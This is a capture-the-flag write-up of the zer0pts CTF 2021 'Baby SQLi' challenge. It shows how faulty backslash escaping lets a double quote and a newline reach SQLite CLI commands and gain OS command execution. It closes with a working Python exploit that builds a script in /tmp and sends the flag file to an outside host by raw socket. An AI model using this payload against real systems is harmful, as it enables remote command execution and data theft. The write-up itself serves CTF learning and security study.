# Baby SQLi - zer0pts CTF 2021
###### tags: `zer0pts CTF 2021` `web`
## Overview
- The flag is in `templates/index.html` as below. To obtain the flag, you need to be logged in as `admin`, or read the content of the template file.
```html=10
{% if name == 'admin' %}
<p>zer0pts{*****CENSORED*****}</p>
{% else %}
```
- User input will be embedded in SQL statement, however, SQL Injection in `/login` seems to be prevented by escaping it.
```python=24
def sqlite3_escape(s):
return re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s)
```
```python=38
@app.route('/login', methods=['post'])
def auth():
username = flask.request.form.get('username', default='', type=str)
password = flask.request.form.get('password', default='', type=str)
if len(username) > 32 or len(password) > 32:
flask.session['msg'] = 'Too long username or password'
return flask.redirect(flask.url_for('home'))
password_hash = hashlib.sha256(password.encode()).hexdigest()
result = None
try:
result = sqlite3_query(
'SELECT * FROM users WHERE username="{}" AND password="{}";'
.format(sqlite3_escape(username), password_hash)
)
except:
pass
```
- Communicating with SQLite3 database is implemented with `subprocess.Popen` even though Python supports `sqlite3` module.
```python=10
def sqlite3_query(sql):
p = subprocess.Popen(['sqlite3', 'database.db'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
o, e = p.communicate(sql.encode())
if e:
raise Exception(e)
result = []
for row in o.decode().split('\n'):
if row == '': break
result.append(tuple(row.split('|')))
return result
```
## Solution
### SQL Injection
`sqlite3_escape` escapes characters except for `_.\sa-zA-Z0-9` by prepending backslashes. However, in SQLite3, you need to escape `'` and `"` in a string literal [by putting the same character twice](https://www.sqlite.org/lang_expr.html#:~:text=A%20string%20constant,standard%20SQL.) instead of prepending backslashes.
```
$ sqlite3
SQLite version 3.27.2 2019-02-25 16:06:06
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> SELECT "\";
\
sqlite> SELECT "a""b";
a"b
```
Because of this behavior, when you input `"` as `username` in `/login`, it breaks SQL structure.
### SQLite3 commands
By breaking SQL structure, you can insert some characters after `"`. It is important that you can also use LF (U+000A) because in CLI version of SQLite3, by combinating `"` and `;`, you can end SQL statement and then execute next query or SQLite3 commands. For example, if you input `";\n.tables\n` as username, you can execute `.tables` command as below.
```
sqlite> SELECT * FROM users WHERE username="\"\;
Error: unrecognized token: "\"
sqlite> .tables
users
```
However, as you can see in the code as below, if there is any output to stderr, you cannot retrieve the output to stdout.
```python=10
def sqlite3_query(sql):
p = subprocess.Popen(['sqlite3', 'database.db'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
o, e = p.communicate(sql.encode())
if e:
raise Exception(e)
result = []
for row in o.decode().split('\n'):
if row == '': break
result.append(tuple(row.split('|')))
return result
```
Let's find some useful commands to bypass this restriction. Looking through `.help` command, you can find `.shell` command, which can be used to execute OS commands.
```
sqlite> .help
...
.session ?NAME? CMD ... Create or control sessions
.sha3sum ... Compute a SHA3 hash of database content
.shell CMD ARGS... Run CMD ARGS... in a system shell
.show Show the current values for various settings
.stats ?on|off? Show stats or turn stats on or off
...
```
Although there is a limit on the length of username, you can bypass it by writing payload to somewhere under `/tmp` character by character and executing the script as below.
```python
import requests
HOST = 'localhost'
PORT = 8004
script = "import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('moxxie.tk',18001));s.send(open('/home/app/templates/index.html','rb').read())"
def run(cmd):
payload = {
'username': '";\n.system {}\n'.format(cmd),
'password': 'legoshi'
}
r = requests.post(f'http://{HOST}:{PORT}/login', data=payload)
run('printf "">/tmp/hal')
for c in script:
run('printf "{}">>/tmp/hal'.format(c))
run("python /tmp/hal")
```
```
zer0pts{w0w_d1d_u_cr4ck_SHA256_0f_my_p4$$w0rd?}
```